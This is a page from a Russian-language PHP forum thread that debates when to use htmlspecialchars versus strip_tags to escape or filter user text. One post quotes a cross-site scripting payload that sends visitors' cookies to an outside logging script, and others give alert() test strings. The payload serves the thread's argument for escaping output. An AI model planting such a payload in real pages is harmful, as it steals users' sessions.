Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: Текст без кода и htmlspecialchars [2]
Форумы портала PHP.SU » » Хранение данных, их вывод и обработка » Текст без кода и htmlspecialchars

Страниц (4): « 1 [2] 3 4 »
 

16. Мелкий - 13 Июля, 2013 - 11:12:01 - перейти к сообщению
sadex пишет:
Случай 2 имеет место только на сайтах программистов

Цитата:
Рассмотрим неравенство
Если a+5<b, значит b-5>a

Только для программистов, да? А это была математика школьной программы, не знаю даже в каком классе.

htmlspecialchars должен быть всегда при выводе в HTML, кроме единственного случая, когда вы и хотите вывести HTML.
17. AlexAnder - 13 Июля, 2013 - 11:18:02 - перейти к сообщению
Цитата:
это была математика школьной программы, не знаю даже в каком классе.

а еще
Комментарий Васи от 16:50 13.07.2013 пишет:
<script>location.href="http://vasya.ru/log_cookie_to_file.php?cookie="+document.cookie;</script>



Спойлер (Отобразить)
18. sadex - 13 Июля, 2013 - 12:42:16 - перейти к сообщению
Мелкий пишет:
А это была математика школьной программы
Расширим случай "для программистов" на + вывод математических формул. В любом случае, htmlspecialchars применяться не ко всей текстовой строке сообщения, к специально предназначенной для этого подстроке, ограниченной тегами <code></code>. И опять же в этом случае получается что htmlspecialchars - для вывода участков кода (управляющих символов html) в тексте, а не для фильтрации всего текста от XSS и прочих атак.
19. LIME - 13 Июля, 2013 - 12:53:42 - перейти к сообщению
и для фильтрации тоже применяется
эта возможность следует из действия ф-ции

почему-то мне кажется что тут как об стену
20. AlexAnder - 13 Июля, 2013 - 12:57:38 - перейти к сообщению
LIME пишет:

почему-то мне кажется что тут как об стену

сектанты попова они такие
21. sadex - 13 Июля, 2013 - 13:05:05 - перейти к сообщению
AlexAnder пишет:
а еще<script>код js</script>
Для этого есть два подхода.
(1) Применение bb-кодов для разметки текста. При этом все сообщение юзера прогоняется через strip_tags, перед парсингом из bb в html. Опять же, htmlspecialchars здесь вроде и не нужен.

(2) Применение html-кодов для разметки текста. Не понимаю, как здесь htmlspecialchars может помочь для фильтрации XSS атак, если нужно сохранять разметку в html. Могут помочь серьезные html-фильтры, но там будет гораздо более серьезная и сложная фильтрация, чем htmlspecialchars.
(Добавление)
LIME пишет:
и для фильтрации тоже применяется эта возможность следует из действия ф-ции
Покажите конкретный случай, когда htmlspecialchars целесообразно применять именно для фильтрации, а не для отображения управляющих символов html.
22. LIME - 13 Июля, 2013 - 13:21:04 - перейти к сообщению
sadex пишет:
Расширим случай "для программистов" на + вывод математических формул.
любопытный подход
исключить ситуации когда применяется ф-ция и просить привести пример её применения
я фигею)))
а если сейчас кто- то кому не лень придумает текст сообщения мы и этот случай исключим?)))
23. esterio - 13 Июля, 2013 - 13:38:32 - перейти к сообщению
Либо Вы просто хитите показать всем нсколько Вы круты и не смотрите что Вам пишут. Либо Вы полностю новичек и не понимаете о чем говорите. Думаю если просто взглянуть в документацию, то отпадут все вопросы. Всему свое место и назначения.
Например нужно показивать такое
Цитата:
<script>alert1(1);</script><b>SOME TEXT HERE</b>

Теперь определите где какая функцияя использована
Цитата:
&lt;script&gt;alert1(1);&lt;/script&gt;&lt;b&gt;SOME TEXT HERE&lt;/b&gt;

Цитата:
alert1(1);SOME TEXT HERE

Ну и напоследок
PHP:
скопировать код в буфер обмена
  1. $text = '<script>alert1(1);</script><b>SOME TEXT HERE</b>';
  2. var_dump(strip_tags($text, '<b>'));

выведет
Цитата:
alert1(1);<b>SOME TEXT HERE</b>
24. sadex - 13 Июля, 2013 - 13:48:45 - перейти к сообщению
LIME пишет:
любопытный подход исключить ситуации когда применяется ф-ция и просить привести пример её применения
Если Вы считаете, что описанные мною два случая исключают целесообразность применения htmlspecialchars, то Вы только подтверждаете то, что мною было сказано при описании этих случаев.
(Добавление)
esterio, давайте не будем рассматривать случаи, когда что-то нужно показать в браузере из кодов или формул, содержащих управляющие символы html. Представьте, что нужно показывать простые тексты, не содержащие этих символов. В этом случае покажите целесообразность применения htmlspecialchars именно для фильтрации.
25. LIME - 13 Июля, 2013 - 14:13:44 - перейти к сообщению
в старых версиях можно было относительно легко обмануть strip_tags
сейчас практически невозможно
я вообще не понимаю что тут столько обсуждать можно
26. sadex - 13 Июля, 2013 - 14:28:35 - перейти к сообщению
LIME пишет:
в старых версиях можно было относительно легко обмануть strip_tags сейчас практически невозможно
Для целей фильтрации при использовании bb-кодов strip_tags вещь сильная.
LIME пишет:
я вообще не понимаю что тут столько обсуждать можно
Когда для фильтрации целесообразно применять htmlspecialchars.
27. LIME - 13 Июля, 2013 - 14:44:55 - перейти к сообщению
никогда...
28. soffrick - 13 Июля, 2013 - 15:02:36 - перейти к сообщению
sadex пишет:
LIME пишет:
в старых версиях можно было относительно легко обмануть strip_tags сейчас практически невозможно
Для целей фильтрации при использовании bb-кодов strip_tags вещь сильная.
LIME пишет:
я вообще не понимаю что тут столько обсуждать можно
Когда для фильтрации целесообразно применять htmlspecialchars.

тоесть хочешь узнать когда использовать strip_tags, а когда htmlspecialchars ?
29. sadex - 13 Июля, 2013 - 15:42:34 - перейти к сообщению
soffrick пишет:
тоесть хочешь узнать когда использовать strip_tags, а когда htmlspecialchars ?
Хотя бы это.
30. Мелкий - 13 Июля, 2013 - 20:58:27 - перейти к сообщению
sadex пишет:
Представьте, что нужно показывать простые тексты, не содержащие этих символов.

Ну и на каком таком основании вы выкидываете даже те символы, что есть на клавиатуре?
Может, вы ещё из-за возможных проблем с кодировкой предложите вырезать все не-ASCII символы? Ну а что, кому они нужны, кроме пары тройки человек?

Представьте, что нам вообще не надо показывать сообщение. Зачем его тогда хранить? Никакого оверхеда!

Мы, как разработчики, обязаны бережно отнестись к введённому сообщению. Как это сделать безопасно для нас и пользователя - это, простите за вульгарность, наши половые трудности. Пользователь не должен помнить, что ему почему-то нельзя в textarea писать знак < или >, он должен иметь возможность его написать и увидеть впоследствии в своём сообщении.
Поэтому всегда замена на спецсущности.

 

Powered by ExBB FM 1.0 RC1